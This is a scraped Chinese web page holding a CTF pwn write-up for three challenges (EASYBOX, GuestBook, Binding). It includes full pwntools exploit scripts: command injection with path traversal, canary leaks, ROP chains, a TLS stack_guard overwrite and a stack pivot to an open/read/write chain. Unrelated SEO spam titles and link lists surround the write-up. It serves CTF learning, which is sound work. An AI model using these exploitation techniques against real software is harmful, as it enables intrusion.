当前位置: 首页 > news >正文

水果网站怎么做的怎么百度做网站

水果网站怎么做的,怎么百度做网站,微网站一键通话,微信公众号手机app前言 笔者没有参加此次比赛#xff0c;由于团队后面会复现此次比赛#xff0c;所以笔者在此进行复现记录。 EASYBOX 考点#xff1a;命令执行#xff1f; 栈溢出 附件给了 docker 环境#xff0c;可以直接在本地复现#xff0c;但是 docker 我不会调试#xff0c;幸…前言 笔者没有参加此次比赛由于团队后面会复现此次比赛所以笔者在此进行复现记录。 EASYBOX 考点命令执行 栈溢出 附件给了 docker 环境可以直接在本地复现但是 docker 我不会调试幸好这题也不用调试。 程序没开 PIE有 systemsh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。 漏洞分析 漏洞1 在 pingCommand 函数中对输入的字符检查不够严格导致存在命令注入例如我们可以通过 0echo data 向 /tmp/result.txt 文件中写入内容。 这个环境好像没有 tac/less/more 等命令然后 cat 被过滤了所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断但是这个无关紧要的可以 base 一下去除 \x00。 漏洞2 这里首先存在目录穿越也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显其实大家写过程序都知道对于文件的读取一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。 漏洞利用 1、先利用 CAT 功能配合目录穿越读取 canary 2、再利用 PING 功能往 result.txt 文件中写入 rop 链 3、最后利用 CAT 功能读取 result.txt 造成栈溢出 exp 如下 from pwn import * import base64 context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debug#io process(./pwn) io remote(127.0.0.1, 9999) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bpop_rdi 0x0000000000401ce3 # pop rdi ; ret sh_addr 0x0000000000402090 system 0x00000000004018B2sla(bname: , bXiaozaYa) sla(b$ , bCAT) sla(bview: , b../../secret/canary.txt) canary int(rl(), 16) info(canary, canary)rop bA*72 p64(canary) p64(0xdeadbeef) p64(pop_rdi) p64(sh_addr) p64(system) rop base64.b64encode(rop) pay b0;echo rop b | base64 -d print(hex(len(pay)), :, pay)sla(b$ , bPING) sla(baddress: , pay) sla(b$ , bCAT) sla(bview: , bresult.txt)#debug() sh() 效果如下 GuestBook 考点栈溢出 没开 PIE有后门有栈溢出其实没啥好说的了 read 那里溢出到了 canary所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出strcpy 存在 \x00 截断所以 canary 分两次写即可。然后就直接跳到后门即可。 exp如下 from pwn import * context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debugio process(./pwn) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bsda(bname: , bA*23 bX bY) rut(bX) canary addr8(8) - ord(Y) rbp addr8(6) info(canary, canary) info(rbp, rbp)sla(b): , b2)pay bA*(0xA0 - 8) p64(canary ord(A)) bAAAAAAAA b\xc3\x12\x40 sl(pay)sleep(0.01) pay bA*(0xA0 - 8 - 0x20) sl(pay) #debug() sh() 效果如下 Binding 考点栈溢出这题套一个堆的壳子其实就是一个栈迁移打 orw 的题目 题目实现了一个菜单堆这里就只说下漏洞点 漏洞1 漏洞主要在 edit 函数中首先就是一个贴脸的栈溢出但是只溢出 0x10 字节所以想利用的话基本就是栈迁移。 然后还有一个致命的漏洞感觉非常莫名其妙add 会申请两个堆块其结构是这样的 也就是说 edit 每次先修改的 0x100 上面的指针然后在根据指针去写那这不就是白给的 8 字节任意地址写吗但是注意这里有个 *ptr (unsigned __int8*)*ptr这导致后面其实只能写一字节。 漏洞2 没有将指针置空可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打因为题目限制了堆块的大小在 [0x100, 0x200] 之间所以不会落在 fastbin 中。  利用思路 1、 UAF 泄漏 libc_base/heap_base 2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护 3、栈迁移到堆上打 orw exp 如下 from pwn import * context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debugio process(./pwn) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bYour choice: def add(idx, size, data, flagTrue):sla(menu, b1)sla(bIdx:, byte(idx))sla(bSize:, byte(size))if flag:sda(bContent:, data)else:sla(bContent:, data)def edit(idx, data0, data1, flagTrue):sla(menu, b2)if flag:sda(bIdx:, byte(idx))else:sda(bIdx:, idx)sda(bcontext1: , data0)sda(bcontext2: , data1)def show(idx, cmd0):sla(menu, b3)sla(bYour choice:, byte(cmd))sla(bIdx:, byte(idx))def dele(idx):sla(menu, b4)sla(bIdx:, byte(idx))for i in range(6):add(i, 256, bA\n)for i in range(1, 5):dele(i)show(2, 0) rut(b: ) heap_base addr8(6) - 0x5d0 info(heap_base, heap_base) show(4, 1) rut(b: ) libc_base addr8(6) - 0x1ecbe0 libc.address libc_base TLS_canary libc_base 0x1f3568 info(libc_base, libc_base) info(TLS_canary, TLS_canary)pop_rdi libc_base 0x0000000000023b6a # pop rdi ; ret pop_rsi libc_base 0x000000000002601f # pop rsi ; ret pop_rdx libc_base 0x0000000000142c92 # pop rdx ; ret leave_ret libc_base 0x00000000000578c8 # leave ; retorw p64(pop_rdi) p64(heap_base0xcd8) p64(pop_rsi) p64(0) p64(pop_rdx) p64(0) p64(libc.sym.open) orw p64(pop_rdi) p64(3) p64(pop_rsi) p64(heap_base0x300) p64(pop_rdx) p64(0x40) p64(libc.sym.read) orw p64(pop_rdi) p64(1) p64(pop_rsi) p64(heap_base0x300) p64(pop_rdx) p64(0x40) p64(libc.sym.write) orw b./flag\x00\x00 info(orw len, len(orw)) add(7, 256, orw)pay b0.ljust(0x28, b\x00) bA\x00\x00\x00\x00\x00\x00\x00 p64(heap_base0xc28) p64(leave_ret) edit(pay, p64(TLS_canary), bAAAAAAAA, False) #debug() sh() 效果如下
http://www.zqtcl.cn/news/518595/

相关文章:

  • 青岛网站设计案例全栈网站开发
  • 欢迎访问中国建设银行网站个人客户网站建设需要经历什么步骤
  • 建设银行怀柔支行营业部网站企业官网手机版
  • cms那个做网站最好大连网站开发平台
  • 佛山建设外贸网站公司可信网站图标
  • 沈阳.....网站设计连云港优化网站团队
  • 网站添加白名单想学ui设计从哪里入手
  • 做期货与做网站的关系淮安市城市建设档案馆网站
  • 网站建设的技术亮点单位宣传册设计样本
  • 网站建设与维护服务敦化市建设局网站
  • 官方网站建设思路wordpress改成织梦
  • 网站建设推广方法网站调优
  • 苏州做企业网站wordpress前台发布文章
  • 怎么建个私人网站网络营销就业前景和薪水
  • 专业的网站开发团队京东电商平台
  • 做网站手机微信小程序怎么加入我的小程序
  • 做网站困难吗公司如何注册网站
  • 可信网站认证收费吗建设化工网站的目的
  • 查网站死链必用工具微信 wordpress
  • 做网站凡科新手如何开微商城店
  • 网站空间维护个人怎么注册一个品牌
  • 连云港网站设计城乡建设网站 资料员
  • 网络优化工程师有多累seo前线
  • 囊谦县公司网站建设新沂网页定制
  • 公众平台网页版wordpress换主题影响seo吗
  • 网站建设什么是静态网页设置wordpress文章标题高亮的代码
  • 男女做那事是什 网站wordpress怎么上传ppt
  • 电商网站图片处理东莞网络营销策划
  • 做知识产权相关的网站网站怎么做登录界面
  • 网站空间备份东莞企业网站教程